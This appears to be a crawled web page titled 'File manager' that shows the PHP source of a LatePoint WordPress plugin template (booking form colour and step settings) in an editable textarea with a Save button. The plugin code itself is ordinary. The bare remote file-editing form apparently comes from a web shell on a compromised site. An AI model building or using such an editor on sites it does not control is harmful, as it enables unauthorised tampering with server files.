File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php
/**
 * @var $steps array
 * @var $selected_step_code string
 */

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly
}
?&gt;
&lt;div class=&quot;booking-form-preview-wrapper&quot;&gt;
    &lt;div class=&quot;booking-form-preview-inner&quot;&gt;
		&lt;?php include &#039;_booking_form_preview.php&#039;; ?&gt;
    &lt;/div&gt;
    &lt;form class=&quot;booking-form-preview-settings&quot;
          data-route-name=&quot;&lt;?php echo esc_attr(OsRouterHelper::build_route_name( &#039;booking_form_settings&#039;, &#039;reload_preview&#039; )); ?&gt;&quot;&gt;
        &lt;div class=&quot;bf-heading&quot;&gt;
            &lt;div class=&quot;latepoint-icon latepoint-icon-browser&quot;&gt;&lt;/div&gt;
            &lt;div&gt;&lt;?php esc_html_e( &#039;Appearance&#039;, &#039;latepoint&#039; ); ?&gt;&lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;bf-content&quot;&gt;
			&lt;?php
			$colors       = [ &#039;blue&#039;, &#039;black&#039;, &#039;teal&#039;, &#039;green&#039;, &#039;purple&#039;, &#039;red&#039;, &#039;orange&#039; ];
			$color_labels = [
				&#039;blue&#039;   =&gt; __( &#039;Blue&#039;, &#039;latepoint&#039; ),
				&#039;red&#039;    =&gt; __( &#039;Red&#039;, &#039;latepoint&#039; ),
				&#039;black&#039;  =&gt; __( &#039;Black&#039;, &#039;latepoint&#039; ),
				&#039;teal&#039;   =&gt; __( &#039;Teal&#039;, &#039;latepoint&#039; ),
				&#039;green&#039;  =&gt; __( &#039;Green&#039;, &#039;latepoint&#039; ),
				&#039;purple&#039; =&gt; __( &#039;Purple&#039;, &#039;latepoint&#039; ),
				&#039;orange&#039; =&gt; __( &#039;Orange&#039;, &#039;latepoint&#039; ),
				&#039;custom&#039; =&gt; __( &#039;Custom&#039;, &#039;latepoint&#039; )
			];
			$color_hexes  = [
				&#039;blue&#039;   =&gt; &#039;#1d7bff&#039;,
				&#039;red&#039;    =&gt; &#039;#F34747&#039;,
				&#039;black&#039;  =&gt; &#039;#222222&#039;,
				&#039;teal&#039;   =&gt; &#039;#0f8c77&#039;,
				&#039;green&#039;  =&gt; &#039;#1ca00f&#039;,
				&#039;purple&#039; =&gt; &#039;#a32f96&#039;,
				&#039;orange&#039; =&gt; &#039;#cc7424&#039;
			];
			echo &#039;&lt;div class=&quot;os-form-group os-form-select-group os-form-group-transparent&quot;&gt;&#039;;
			echo &#039;&lt;div class=&quot;bf-color-scheme-colors&quot;&gt;&#039;;
			$active_color_scheme = OsSettingsHelper::get_booking_form_color_scheme();
			foreach ( $color_hexes as $color_code =&gt; $hex ) {
				echo &#039;&lt;div data-color-code=&quot;&#039; . esc_attr($color_code) . &#039;&quot; class=&quot;bf-color-scheme-color-trigger &#039; . ( ( $active_color_scheme == $color_code ) ? &#039;is-selected&#039; : &#039;&#039; ) . &#039;&quot; style=&quot;background-color: &#039; . esc_attr($hex) . &#039;&quot;&gt;&lt;/div&gt;&#039;;
			}
			echo &#039;&lt;div data-color-code=&quot;custom&quot; class=&quot;bf-color-scheme-color-trigger &#039; . ( ( $active_color_scheme == &#039;custom&#039; ) ? &#039;is-selected&#039; : &#039;&#039; ) . &#039;&quot; style=&quot;background: conic-gradient(red, yellow, lime, aqua, blue, magenta, red);&quot;&gt;&lt;i class=&quot;latepoint-icon latepoint-icon&quot;&gt;&lt;/i&gt;&lt;/div&gt;&#039;;
			echo &#039;&lt;/div&gt;&#039;;
			echo &#039;&lt;/div&gt;&#039;;
			?&gt;
            &lt;div class=&quot;os-color-scheme-selector-wrapper&quot;&gt;
				&lt;?php echo OsFormHelper::select_field( &#039;settings[color_scheme_for_booking_form]&#039;, __( &#039;Color Scheme&#039;, &#039;latepoint&#039; ), $color_labels, $active_color_scheme ); ?&gt;
            &lt;/div&gt;
            &lt;div class=&quot;os-custom-color-selector-wrapper &lt;?php if ( $active_color_scheme != &#039;custom&#039; ) {
				echo &#039;is-hidden&#039;;
			} ?&gt;&quot;&gt;
				&lt;?php echo OsFormHelper::color_picker( &#039;settings[custom_brand_primary_color]&#039;, __( &#039;Pick Custom Color&#039;, &#039;latepoint&#039; ), OsSettingsHelper::get_settings_value( &#039;custom_brand_primary_color&#039;, &#039;#000000&#039; ) ); ?&gt;
                &lt;a href=&quot;#&quot; class=&quot;trigger-custom-color-save&quot;&gt;&lt;?php esc_html_e( &#039;Apply&#039;, &#039;latepoint&#039; ); ?&gt;&lt;/a&gt;
            &lt;/div&gt;
			&lt;?php echo OsFormHelper::select_field( &#039;settings[border_radius]&#039;, __( &#039;Border Style&#039;, &#039;latepoint&#039; ), [
				&#039;rounded&#039; =&gt; &#039;Rounded Corners&#039;,
				&#039;flat&#039;    =&gt; &#039;Flat&#039;
			], OsSettingsHelper::get_booking_form_border_radius() ); ?&gt;
			&lt;?php
			/**
			 * Content after booking form general settings section
			 *
			 * @since 5.0.0
			 * @hook latepoint_booking_form_settings_general_after
			 *
			 */
			do_action( &#039;latepoint_booking_form_settings_general_after&#039; ); ?&gt;
        &lt;/div&gt;
        &lt;div class=&quot;bf-heading&quot;&gt;
            &lt;div class=&quot;latepoint-icon latepoint-icon-menu&quot;&gt;&lt;/div&gt;
            &lt;div&gt;&lt;?php esc_html_e( &#039;Steps&#039;, &#039;latepoint&#039; ); ?&gt;&lt;/div&gt;
            &lt;a href=&quot;#&quot; class=&quot;bf-link&quot; data-os-after-call=&quot;latepoint_init_step_reordering&quot;
               data-os-action=&quot;&lt;?php echo esc_attr(OsRouterHelper::build_route_name( &#039;settings&#039;, &#039;steps_order_modal&#039; )); ?&gt;&quot;
               data-os-output-target=&quot;lightbox&quot;
               data-os-lightbox-classes=&quot;width-500&quot;&gt;
                &lt;i class=&quot;latepoint-icon latepoint-icon-refresh-cw&quot;&gt;&lt;/i&gt;
                &lt;span&gt;&lt;?php esc_html_e( &#039;Change Order&#039;, &#039;latepoint&#039; ); ?&gt;&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;bf-content&quot;&gt;
			&lt;?php echo OsFormHelper::select_field( &#039;selected_step_code&#039;, false, OsStepsHelper::get_steps_for_select(), $selected_step_code ); ?&gt;
            &lt;div class=&quot;bf-preview-step-settings&quot;&gt;
				&lt;?php echo OsStepsHelper::get_step_settings_edit_form_html( $selected_step_code ); ?&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/form&gt;
&lt;/div&gt;</textarea><input type='submit' name='save' value='Save' style=''/></form>